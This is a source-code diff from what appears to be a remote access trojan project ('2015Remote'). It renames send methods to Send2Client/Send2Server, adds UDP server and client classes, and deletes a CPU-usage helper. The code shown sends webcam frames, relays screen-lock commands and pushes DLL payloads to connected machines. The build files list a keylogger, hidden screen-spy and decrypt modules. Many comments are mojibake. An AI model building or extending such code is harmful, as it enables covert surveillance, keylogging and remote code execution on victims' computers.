if (This) This->m_ClientObject->Send2Server((char*)&bToken, 1);
|
||||
EndDialog(hDlg, LOWORD(wParam));
|
||||
return (INT_PTR)TRUE;
|
||||
}
|
||||
@@ -140,7 +140,7 @@ VOID CTalkManager::OnDlgTimer(HWND hDlg) //ʱ
|
||||
{
|
||||
KillTimer(hDlg,ID_TIMER_CLOSE_WINDOW);
|
||||
BYTE bToken = TOKEN_TALKCMPLT; // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h
|
||||
m_ClientObject->OnServerSending((char*)&bToken, 1); // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>͵<EFBFBD>ָ<EFBFBD><D6B8>
|
||||
m_ClientObject->Send2Server((char*)&bToken, 1); // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>͵<EFBFBD>ָ<EFBFBD><D6B8>
|
||||
EndDialog(hDlg,0);
|
||||
}
|
||||
break;
|
||||
|
||||
@@ -103,7 +103,7 @@ void CVideoManager::SendBitMapInfor()
|
||||
BYTE szBuffer[dwBytesLength + 3] = { 0 };
|
||||
szBuffer[0] = TOKEN_WEBCAM_BITMAPINFO;
|
||||
memcpy(szBuffer + 1, m_CapVideo.GetBmpInfor(), sizeof(BITMAPINFO));
|
||||
m_ClientObject->OnServerSending((char*)szBuffer, dwBytesLength);
|
||||
m_ClientObject->Send2Server((char*)szBuffer, dwBytesLength);
|
||||
}
|
||||
|
||||
BOOL CVideoManager::SendNextScreen()
|
||||
@@ -149,7 +149,7 @@ BOOL CVideoManager::SendNextScreen()
|
||||
}
|
||||
m_CapVideo.SendEnd(); //copy send
|
||||
|
||||
m_ClientObject->OnServerSending((char*)lpBuffer, nPacketLen);
|
||||
m_ClientObject->Send2Server((char*)lpBuffer, nPacketLen);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
@@ -180,6 +180,7 @@
|
||||
<ClCompile Include="Common.cpp" />
|
||||
<ClCompile Include="FileManager.cpp" />
|
||||
<ClCompile Include="IOCPClient.cpp" />
|
||||
<ClCompile Include="IOCPUDPClient.cpp" />
|
||||
<ClCompile Include="KernelManager.cpp" />
|
||||
<ClCompile Include="KeyboardManager.cpp" />
|
||||
<ClCompile Include="keylogger.cpp" />
|
||||
@@ -210,6 +211,7 @@
|
||||
<ClInclude Include="domain_pool.h" />
|
||||
<ClInclude Include="FileManager.h" />
|
||||
<ClInclude Include="IOCPClient.h" />
|
||||
<ClInclude Include="IOCPUDPClient.h" />
|
||||
<ClInclude Include="KernelManager.h" />
|
||||
<ClInclude Include="KeyboardManager.h" />
|
||||
<ClInclude Include="keylogger.h" />
|
||||
|
||||
@@ -14,6 +14,7 @@
|
||||
#include <io.h>
|
||||
#include <direct.h>
|
||||
#include <DbgHelp.h>
|
||||
#include "IOCPUDPServer.h"
|
||||
#pragma comment(lib, "Dbghelp.lib")
|
||||
|
||||
CMy2015RemoteApp* GetThisApp() {
|
||||
|
||||
@@ -22,7 +22,7 @@ public:
|
||||
CMy2015RemoteApp();
|
||||
config *m_iniFile;
|
||||
HANDLE m_Mutex;
|
||||
IOCPServer* m_iocpServer;
|
||||
Server* m_iocpServer;
|
||||
|
||||
CImageList m_pImageList_Large; //ϵͳ<CFB5><CDB3>ͼ<EFBFBD><CDBC>
|
||||
CImageList m_pImageList_Small; //ϵͳСͼ<D0A1><CDBC>
|
||||
|
||||
@@ -278,7 +278,7 @@ std::vector<DllInfo*> ReadAllDllFilesWindows(const std::string& dirPath) {
|
||||
return result;
|
||||
}
|
||||
|
||||
CMy2015RemoteDlg::CMy2015RemoteDlg(IOCPServer* iocpServer, CWnd* pParent): CDialogEx(CMy2015RemoteDlg::IDD, pParent)
|
||||
CMy2015RemoteDlg::CMy2015RemoteDlg(Server* iocpServer, CWnd* pParent): CDialogEx(CMy2015RemoteDlg::IDD, pParent)
|
||||
{
|
||||
m_iocpServer = iocpServer;
|
||||
m_hExit = CreateEvent(NULL, TRUE, FALSE, NULL);
|
||||
@@ -1038,7 +1038,7 @@ void CMy2015RemoteDlg::Release(){
|
||||
for(int Pos = 0; Pos < n; ++Pos)
|
||||
{
|
||||
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(Pos);
|
||||
m_iocpServer->OnClientPreSending(ContextObject, &bToken, sizeof(BYTE));
|
||||
m_iocpServer->Send2Client(ContextObject, &bToken, sizeof(BYTE));
|
||||
}
|
||||
LeaveCriticalSection(&m_cs);
|
||||
Sleep(500);
|
||||
@@ -1449,7 +1449,7 @@ VOID CMy2015RemoteDlg::SendSelectedCommand(PBYTE szBuffer, ULONG ulLength)
|
||||
continue;
|
||||
}
|
||||
// 发送获得驱动器列表数据包
|
||||
m_iocpServer->OnClientPreSending(ContextObject,szBuffer, ulLength);
|
||||
m_iocpServer->Send2Client(ContextObject,szBuffer, ulLength);
|
||||
}
|
||||
LeaveCriticalSection(&m_cs);
|
||||
}
|
||||
@@ -1720,7 +1720,10 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
||||
if (isClosed) {
|
||||
return;
|
||||
}
|
||||
switch (ContextObject->InDeCompressedBuffer.GetBYTE(0))
|
||||
unsigned cmd = ContextObject->InDeCompressedBuffer.GetBYTE(0);
|
||||
unsigned len = ContextObject->InDeCompressedBuffer.GetBufferLen();
|
||||
|
||||
switch (cmd)
|
||||
{
|
||||
case TOKEN_GETVERSION: // 获取版本
|
||||
{
|
||||
@@ -1732,7 +1735,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
||||
resp[0] = 0;
|
||||
memcpy(resp+1, &dll, sizeof(DllSendData));
|
||||
memcpy(resp+1+sizeof(DllSendData), bin->c_str() + 6, dll.DataSize);
|
||||
m_iocpServer->OnClientPreSending(ContextObject, resp, 1 + sizeof(DllSendData) + dll.DataSize);
|
||||
m_iocpServer->Send2Client(ContextObject, resp, 1 + sizeof(DllSendData) + dll.DataSize);
|
||||
SAFE_DELETE_ARRAY(resp);
|
||||
break;
|
||||
}
|
||||
@@ -1754,7 +1757,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
||||
std::string hmac = genHMAC(hash, m_superPass);
|
||||
memcpy(resp + 64, hmac.c_str(), hmac.length());
|
||||
resp[80] = 0;
|
||||
m_iocpServer->OnClientPreSending(ContextObject, (LPBYTE)resp, sizeof(resp));
|
||||
m_iocpServer->Send2Client(ContextObject, (LPBYTE)resp, sizeof(resp));
|
||||
break;
|
||||
}
|
||||
case CMD_EXECUTE_DLL: // 请求DLL
|
||||
@@ -1763,7 +1766,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
||||
for (std::vector<DllInfo*>::const_iterator i=m_DllList.begin(); i!=m_DllList.end(); ++i){
|
||||
DllInfo* dll = *i;
|
||||
if (dll->Name == info->Name) {
|
||||
return m_iocpServer->OnClientPreSending(ContextObject, dll->Data->Buf(), dll->Data->length());
|
||||
return m_iocpServer->Send2Client(ContextObject, dll->Data->Buf(), dll->Data->length());
|
||||
}
|
||||
}
|
||||
break;
|
||||
@@ -1876,6 +1879,9 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
||||
g_2015RemoteDlg->SendMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)ContextObject);
|
||||
break;
|
||||
}
|
||||
default: {
|
||||
Mprintf("Receive unknown command '%s' [%d]: Len=%d\n", ContextObject->PeerName.c_str(), cmd, len);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1989,7 +1995,7 @@ void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx) {
|
||||
HeartbeatACK ack = { hb.Time };
|
||||
BYTE buf[sizeof(HeartbeatACK) + 1] = { CMD_HEARTBEAT_ACK};
|
||||
memcpy(buf + 1, &ack, sizeof(HeartbeatACK));
|
||||
m_iocpServer->Send(ctx, buf, sizeof(buf));
|
||||
m_iocpServer->Send2Client(ctx, buf, sizeof(buf));
|
||||
}
|
||||
|
||||
CLock L(m_cs);
|
||||
@@ -2013,7 +2019,7 @@ void CMy2015RemoteDlg::SendMasterSettings(CONTEXT_OBJECT* ctx) {
|
||||
memcpy(buf+1, &m_settings, sizeof(MasterSettings));
|
||||
|
||||
if (ctx) {
|
||||
m_iocpServer->Send(ctx, buf, sizeof(buf));
|
||||
m_iocpServer->Send2Client(ctx, buf, sizeof(buf));
|
||||
}
|
||||
else {
|
||||
EnterCriticalSection(&m_cs);
|
||||
@@ -2022,7 +2028,7 @@ void CMy2015RemoteDlg::SendMasterSettings(CONTEXT_OBJECT* ctx) {
|
||||
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(i);
|
||||
if (!ContextObject->bLogin)
|
||||
continue;
|
||||
m_iocpServer->Send(ContextObject, buf, sizeof(buf));
|
||||
m_iocpServer->Send2Client(ContextObject, buf, sizeof(buf));
|
||||
}
|
||||
LeaveCriticalSection(&m_cs);
|
||||
}
|
||||
@@ -2037,9 +2043,9 @@ VOID CMy2015RemoteDlg::SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL,
|
||||
char md5[33] = {};
|
||||
memcpy(md5, (char*)ContextObject->InDeCompressedBuffer.GetBuffer(32), max(0,min(32, len-32)));
|
||||
if (!buf->MD5().empty() && md5 != buf->MD5())
|
||||
m_iocpServer->OnClientPreSending(ContextObject, buf->Buf(), buf->length(len<=20));
|
||||
m_iocpServer->Send2Client(ContextObject, buf->Buf(), buf->length(len<=20));
|
||||
else {
|
||||
m_iocpServer->OnClientPreSending(ContextObject, buf->Buf(), 6 /* data not changed */);
|
||||
m_iocpServer->Send2Client(ContextObject, buf->Buf(), 6 /* data not changed */);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -2201,7 +2207,7 @@ void CMy2015RemoteDlg::OnMainProxy()
|
||||
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
|
||||
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem);
|
||||
BYTE cmd[] = { COMMAND_PROXY };
|
||||
m_iocpServer->OnClientPreSending(ContextObject, cmd, sizeof(cmd));
|
||||
m_iocpServer->Send2Client(ContextObject, cmd, sizeof(cmd));
|
||||
break;
|
||||
}
|
||||
LeaveCriticalSection(&m_cs);
|
||||
@@ -2551,7 +2557,7 @@ void CMy2015RemoteDlg::OnDynamicSubMenu(UINT nID) {
|
||||
Buffer* buf = m_DllList[menuIndex]->Data;
|
||||
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
|
||||
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem);
|
||||
m_iocpServer->OnClientPreSending(ContextObject, buf->Buf(), 1 + sizeof(DllExecuteInfo));
|
||||
m_iocpServer->Send2Client(ContextObject, buf->Buf(), 1 + sizeof(DllExecuteInfo));
|
||||
}
|
||||
LeaveCriticalSection(&m_cs);
|
||||
}
|
||||
|
||||
@@ -125,7 +125,7 @@ protected:
|
||||
}
|
||||
// <20><><EFBFBD><EFBFBD>
|
||||
public:
|
||||
CMy2015RemoteDlg(IOCPServer* iocpServer, CWnd* pParent = NULL); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
||||
CMy2015RemoteDlg(Server* iocpServer, CWnd* pParent = NULL); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
||||
~CMy2015RemoteDlg();
|
||||
// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
enum { IDD = IDD_MY2015REMOTE_DIALOG };
|
||||
@@ -193,7 +193,7 @@ public:
|
||||
std::vector<DllInfo*> m_DllList;
|
||||
NOTIFYICONDATA m_Nid;
|
||||
HANDLE m_hExit;
|
||||
IOCPServer* m_iocpServer;
|
||||
Server* m_iocpServer;
|
||||
CRITICAL_SECTION m_cs;
|
||||
BOOL isClosed;
|
||||
CMenu m_MainMenu;
|
||||
|
||||
@@ -262,7 +262,6 @@
|
||||
<ClInclude Include="BuildDlg.h" />
|
||||
<ClInclude Include="Chat.h" />
|
||||
<ClInclude Include="CPasswordDlg.h" />
|
||||
<ClInclude Include="CpuUseage.h" />
|
||||
<ClInclude Include="CTextDlg.h" />
|
||||
<ClInclude Include="DateVerify.h" />
|
||||
<ClInclude Include="DecryptDlg.h" />
|
||||
@@ -275,6 +274,7 @@
|
||||
<ClInclude Include="HideScreenSpyDlg.h" />
|
||||
<ClInclude Include="InputDlg.h" />
|
||||
<ClInclude Include="IOCPServer.h" />
|
||||
<ClInclude Include="IOCPUDPServer.h" />
|
||||
<ClInclude Include="KeyBoardDlg.h" />
|
||||
<ClInclude Include="proxy\HPSocket.h" />
|
||||
<ClInclude Include="proxy\HPTypeDef.h" />
|
||||
@@ -285,6 +285,7 @@
|
||||
<ClInclude Include="RegisterDlg.h" />
|
||||
<ClInclude Include="Resource.h" />
|
||||
<ClInclude Include="ScreenSpyDlg.h" />
|
||||
<ClInclude Include="Server.h" />
|
||||
<ClInclude Include="ServicesDlg.h" />
|
||||
<ClInclude Include="SettingDlg.h" />
|
||||
<ClInclude Include="ShellDlg.h" />
|
||||
@@ -323,7 +324,6 @@
|
||||
<ClCompile Include="BuildDlg.cpp" />
|
||||
<ClCompile Include="Chat.cpp" />
|
||||
<ClCompile Include="CPasswordDlg.cpp" />
|
||||
<ClCompile Include="CpuUseage.cpp" />
|
||||
<ClCompile Include="CTextDlg.cpp" />
|
||||
<ClCompile Include="DecryptDlg.cpp" />
|
||||
<ClCompile Include="EditDialog.cpp" />
|
||||
@@ -335,6 +335,7 @@
|
||||
<ClCompile Include="HideScreenSpyDlg.cpp" />
|
||||
<ClCompile Include="InputDlg.cpp" />
|
||||
<ClCompile Include="IOCPServer.cpp" />
|
||||
<ClCompile Include="IOCPUDPServer.cpp" />
|
||||
<ClCompile Include="KeyBoardDlg.cpp" />
|
||||
<ClCompile Include="Loader.c">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
|
||||
|
||||
@@ -11,7 +11,6 @@
|
||||
<ClCompile Include="BuildDlg.cpp" />
|
||||
<ClCompile Include="Chat.cpp" />
|
||||
<ClCompile Include="CPasswordDlg.cpp" />
|
||||
<ClCompile Include="CpuUseage.cpp" />
|
||||
<ClCompile Include="CTextDlg.cpp" />
|
||||
<ClCompile Include="DecryptDlg.cpp" />
|
||||
<ClCompile Include="EditDialog.cpp" />
|
||||
@@ -49,6 +48,7 @@
|
||||
<ClCompile Include="file\CFileListCtrl.cpp">
|
||||
<Filter>file</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="IOCPUDPServer.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\..\client\Audio.h" />
|
||||
@@ -64,7 +64,6 @@
|
||||
<ClInclude Include="BuildDlg.h" />
|
||||
<ClInclude Include="Chat.h" />
|
||||
<ClInclude Include="CPasswordDlg.h" />
|
||||
<ClInclude Include="CpuUseage.h" />
|
||||
<ClInclude Include="CTextDlg.h" />
|
||||
<ClInclude Include="DateVerify.h" />
|
||||
<ClInclude Include="DecryptDlg.h" />
|
||||
@@ -109,6 +108,8 @@
|
||||
<ClInclude Include="file\CFileListCtrl.h">
|
||||
<Filter>file</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="IOCPUDPServer.h" />
|
||||
<ClInclude Include="Server.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="2015Remote.rc" />
|
||||
|
||||
@@ -11,7 +11,7 @@
|
||||
|
||||
IMPLEMENT_DYNAMIC(CAudioDlg, CDialog)
|
||||
|
||||
CAudioDlg::CAudioDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject)
|
||||
CAudioDlg::CAudioDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT *ContextObject)
|
||||
: DialogBase(CAudioDlg::IDD, pParent, IOCPServer, ContextObject, IDI_ICON_AUDIO)
|
||||
, m_bSend(FALSE)
|
||||
{
|
||||
@@ -56,7 +56,7 @@ BOOL CAudioDlg::OnInitDialog()
|
||||
SetWindowText(strString);
|
||||
|
||||
BYTE bToken = COMMAND_NEXT;
|
||||
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE));
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD> <20>ж<EFBFBD>CheckBox
|
||||
m_hWorkThread = CreateThread(NULL, 0, WorkThread, (LPVOID)this, 0, NULL);
|
||||
@@ -84,7 +84,7 @@ DWORD CAudioDlg::WorkThread(LPVOID lParam)
|
||||
LPBYTE szBuffer = This->m_AudioObject.GetRecordBuffer(&dwBufferSize); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
if (szBuffer != NULL && dwBufferSize > 0)
|
||||
This->m_iocpServer->OnClientPreSending(This->m_ContextObject, szBuffer, dwBufferSize); //û<><C3BB><EFBFBD><EFBFBD>Ϣͷ
|
||||
This->m_iocpServer->Send2Client(This->m_ContextObject, szBuffer, dwBufferSize); //û<><C3BB><EFBFBD><EFBFBD>Ϣͷ
|
||||
}
|
||||
This->m_bThreadRun = FALSE;
|
||||
|
||||
|
||||
@@ -10,7 +10,7 @@ class CAudioDlg : public DialogBase
|
||||
DECLARE_DYNAMIC(CAudioDlg)
|
||||
|
||||
public:
|
||||
CAudioDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
||||
CAudioDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
||||
virtual ~CAudioDlg();
|
||||
|
||||
DWORD m_nTotalRecvBytes;
|
||||
|
||||
@@ -13,7 +13,7 @@
|
||||
// CChat dialog
|
||||
|
||||
|
||||
CChat::CChat(CWnd* pParent, ISocketBase* pIOCPServer, ClientContext* pContext)
|
||||
CChat::CChat(CWnd* pParent, Server* pIOCPServer, ClientContext* pContext)
|
||||
: DialogBase(CChat::IDD, pParent, pIOCPServer, pContext, IDI_CHAT)
|
||||
{
|
||||
}
|
||||
@@ -53,7 +53,7 @@ BOOL CChat::OnInitDialog()
|
||||
m_editNewMsg.SetLimitText(4079);
|
||||
// TODO: Add extra initialization here
|
||||
BYTE bToken = COMMAND_NEXT_CHAT;
|
||||
m_iocpServer->Send(m_ContextObject, &bToken, sizeof(BYTE));
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
|
||||
SetIcon(m_hIcon, TRUE); // Set big icon
|
||||
SetIcon(m_hIcon, FALSE); // Set small icon
|
||||
|
||||
@@ -89,7 +89,7 @@ void CChat::OnButtonSend()
|
||||
return; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϢΪ<CFA2>ղ<EFBFBD><D5B2><EFBFBD><EFBFBD><EFBFBD>
|
||||
}
|
||||
m_editTip.ShowWindow(SW_HIDE);
|
||||
m_iocpServer->Send(m_ContextObject, (LPBYTE)str, lstrlen(str) + sizeof(char));
|
||||
m_iocpServer->Send2Client(m_ContextObject, (LPBYTE)str, lstrlen(str) + sizeof(char));
|
||||
SYSTEMTIME st;
|
||||
GetLocalTime(&st);
|
||||
char Text[5120] = { 0 };
|
||||
@@ -171,11 +171,11 @@ void CChat::OnBnClickedButton_LOCK()
|
||||
{
|
||||
|
||||
BYTE bToken = COMMAND_CHAT_SCREEN_LOCK;
|
||||
m_iocpServer->Send(m_ContextObject, &bToken, sizeof(BYTE));
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
|
||||
}
|
||||
|
||||
void CChat::OnBnClickedButton_UNLOCK()
|
||||
{
|
||||
BYTE bToken = COMMAND_CHAT_SCREEN_UNLOCK;
|
||||
m_iocpServer->Send(m_ContextObject, &bToken, sizeof(BYTE));
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
|
||||
}
|
||||
|
||||
@@ -9,7 +9,7 @@ class CChat : public DialogBase
|
||||
{
|
||||
// Construction
|
||||
public:
|
||||
CChat(CWnd* pParent = NULL, ISocketBase* pIOCPServer = NULL, ClientContext* pContext = NULL);
|
||||
CChat(CWnd* pParent = NULL, Server* pIOCPServer = NULL, ClientContext* pContext = NULL);
|
||||
void OnReceiveComplete();
|
||||
void OnReceive();
|
||||
|
||||
|
||||
@@ -1,55 +0,0 @@
|
||||
#include "stdafx.h"
|
||||
#include "CpuUseage.h"
|
||||
|
||||
//ϵͳ<CFB5><CDB3><EFBFBD>ܼ<EFBFBD><DCBC><EFBFBD><EFBFBD><EFBFBD>
|
||||
CCpuUsage::CCpuUsage()
|
||||
{
|
||||
m_hQuery = NULL;
|
||||
m_pCounterStruct = NULL;
|
||||
|
||||
}
|
||||
|
||||
CCpuUsage::~CCpuUsage()
|
||||
{
|
||||
PdhCloseQuery(m_hQuery); //<2F>رռ<D8B1><D5BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (m_pCounterStruct)
|
||||
delete m_pCounterStruct;
|
||||
}
|
||||
|
||||
|
||||
BOOL CCpuUsage::Init()
|
||||
{
|
||||
if (ERROR_SUCCESS != PdhOpenQuery(NULL, 1, &m_hQuery)) //<2F><EFBFBD><F2BFAABC><EFBFBD><EFBFBD><EFBFBD>
|
||||
return FALSE;
|
||||
|
||||
m_pCounterStruct = (PPDHCOUNTERSTRUCT) new PDHCOUNTERSTRUCT;
|
||||
|
||||
//ͳ<>Ƹ<EFBFBD><C6B8><EFBFBD>Ȥ<EFBFBD><C8A4>ϵͳ<CFB5><CDB3>Ϣʱ<CFA2><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƚ<EFBFBD><C8BD><EFBFBD>Ӧ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӽ<EFBFBD><D3BD><EFBFBD>
|
||||
PDH_STATUS pdh_status = PdhAddCounter(m_hQuery, (LPCSTR)szCounterName,
|
||||
(DWORD_PTR) m_pCounterStruct, &(m_pCounterStruct->hCounter));
|
||||
if (ERROR_SUCCESS != pdh_status)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
int CCpuUsage::GetUsage()
|
||||
{
|
||||
PDH_FMT_COUNTERVALUE pdhFormattedValue;
|
||||
|
||||
PdhCollectQueryData(m_hQuery);
|
||||
|
||||
//<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݻ<EFBFBD><DDBB>õ<EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ
|
||||
if (ERROR_SUCCESS != PdhGetFormattedCounterValue(m_pCounterStruct->hCounter,
|
||||
PDH_FMT_LONG,
|
||||
NULL,
|
||||
&pdhFormattedValue ))
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
return pdhFormattedValue.longValue;
|
||||
}
|
||||
@@ -1,34 +0,0 @@
|
||||
#pragma once
|
||||
|
||||
#include <pdh.h>
|
||||
#include <pdhmsg.h>
|
||||
|
||||
#pragma comment(lib,"PDH.lib")
|
||||
|
||||
#define MAX_RAW_VALUES 20
|
||||
|
||||
//process <20><>Ŀ<EFBFBD>µ<EFBFBD>% Processor Time<6D><65><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǹ<EFBFBD><C7B9>ڽ<EFBFBD><DABD><EFBFBD>CPUʹ<55>ʵ<EFBFBD>
|
||||
const char szCounterName[] = "\\Processor(_Total)\\% Processor Time";
|
||||
|
||||
typedef struct _tag_PDHCounterStruct {
|
||||
HCOUNTER hCounter;
|
||||
int nNextIndex;
|
||||
int nOldestIndex;
|
||||
int nRawCount;
|
||||
PDH_RAW_COUNTER a_RawValue[MAX_RAW_VALUES];
|
||||
} PDHCOUNTERSTRUCT, *PPDHCOUNTERSTRUCT;
|
||||
|
||||
|
||||
class CCpuUsage
|
||||
{
|
||||
public:
|
||||
CCpuUsage();
|
||||
virtual ~CCpuUsage();
|
||||
BOOL Init();
|
||||
int GetUsage();
|
||||
|
||||
protected:
|
||||
|
||||
PPDHCOUNTERSTRUCT m_pCounterStruct;
|
||||
HQUERY m_hQuery;
|
||||
};
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
IMPLEMENT_DYNAMIC(DecryptDlg, CDialog)
|
||||
|
||||
DecryptDlg::DecryptDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT* ContextObject)
|
||||
DecryptDlg::DecryptDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT* ContextObject)
|
||||
: CDialogBase(DecryptDlg::IDD, pParent, IOCPServer, ContextObject, IDI_ICON_DECRYPT) {
|
||||
}
|
||||
|
||||
|
||||
@@ -8,7 +8,7 @@ class DecryptDlg : public CDialogBase
|
||||
DECLARE_DYNAMIC(DecryptDlg)
|
||||
|
||||
public:
|
||||
DecryptDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT* ContextObject = NULL);
|
||||
DecryptDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT* ContextObject = NULL);
|
||||
virtual ~DecryptDlg();
|
||||
|
||||
VOID OnReceiveComplete();
|
||||
|
||||
@@ -35,7 +35,7 @@ float GetScreenScalingFactor() {
|
||||
return dpiX / 96.0f;
|
||||
}
|
||||
|
||||
CFileManagerDlg::CFileManagerDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
|
||||
CFileManagerDlg::CFileManagerDlg(CWnd* pParent, Server* pIOCPServer, ClientContext *pContext)
|
||||
: DialogBase(CFileManagerDlg::IDD, pParent, pIOCPServer, pContext, IDI_ICON_FATHER)
|
||||
{
|
||||
m_fScalingFactor = GetScreenScalingFactor();
|
||||
@@ -1022,7 +1022,7 @@ void CFileManagerDlg::GetRemoteFileList(CString directory)
|
||||
|
||||
bPacket[0] = COMMAND_LIST_FILES;
|
||||
memcpy(bPacket + 1, m_Remote_Path.GetBuffer(0), PacketSize - 1);
|
||||
m_iocpServer->Send(m_ContextObject, bPacket, PacketSize);
|
||||
m_iocpServer->Send2Client(m_ContextObject, bPacket, PacketSize);
|
||||
LocalFree(bPacket);
|
||||
|
||||
m_Remote_Directory_ComboBox.InsertString(0, m_Remote_Path);
|
||||
@@ -1481,7 +1481,7 @@ BOOL CFileManagerDlg::SendDownloadJob()
|
||||
bPacket[0] = COMMAND_DOWN_FILES;
|
||||
// <20>ļ<EFBFBD>ƫ<EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
|
||||
memcpy(bPacket + 1, file.GetBuffer(0), file.GetLength() + 1);
|
||||
m_iocpServer->Send(m_ContextObject, bPacket, nPacketSize);
|
||||
m_iocpServer->Send2Client(m_ContextObject, bPacket, nPacketSize);
|
||||
|
||||
LocalFree(bPacket);
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD>ɾ<EFBFBD><C9BE><EFBFBD>Լ<EFBFBD>
|
||||
@@ -1538,7 +1538,7 @@ BOOL CFileManagerDlg::SendUploadJob()
|
||||
memcpy(bPacket + 5, &dwSizeLow, sizeof(DWORD));
|
||||
memcpy(bPacket + 9, fileRemote.GetBuffer(0), fileRemote.GetLength() + 1);
|
||||
|
||||
m_iocpServer->Send(m_ContextObject, bPacket, nPacketSize);
|
||||
m_iocpServer->Send2Client(m_ContextObject, bPacket, nPacketSize);
|
||||
|
||||
LocalFree(bPacket);
|
||||
|
||||
@@ -1569,7 +1569,7 @@ BOOL CFileManagerDlg::SendDeleteJob()
|
||||
}
|
||||
// <20>ļ<EFBFBD>ƫ<EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
|
||||
memcpy(bPacket + 1, file.GetBuffer(0), nPacketSize - 1);
|
||||
m_iocpServer->Send(m_ContextObject, bPacket, nPacketSize);
|
||||
m_iocpServer->Send2Client(m_ContextObject, bPacket, nPacketSize);
|
||||
|
||||
LocalFree(bPacket);
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD>ɾ<EFBFBD><C9BE><EFBFBD>Լ<EFBFBD>
|
||||
@@ -1749,7 +1749,7 @@ void CFileManagerDlg::CreateLocalRecvFile()
|
||||
else
|
||||
{
|
||||
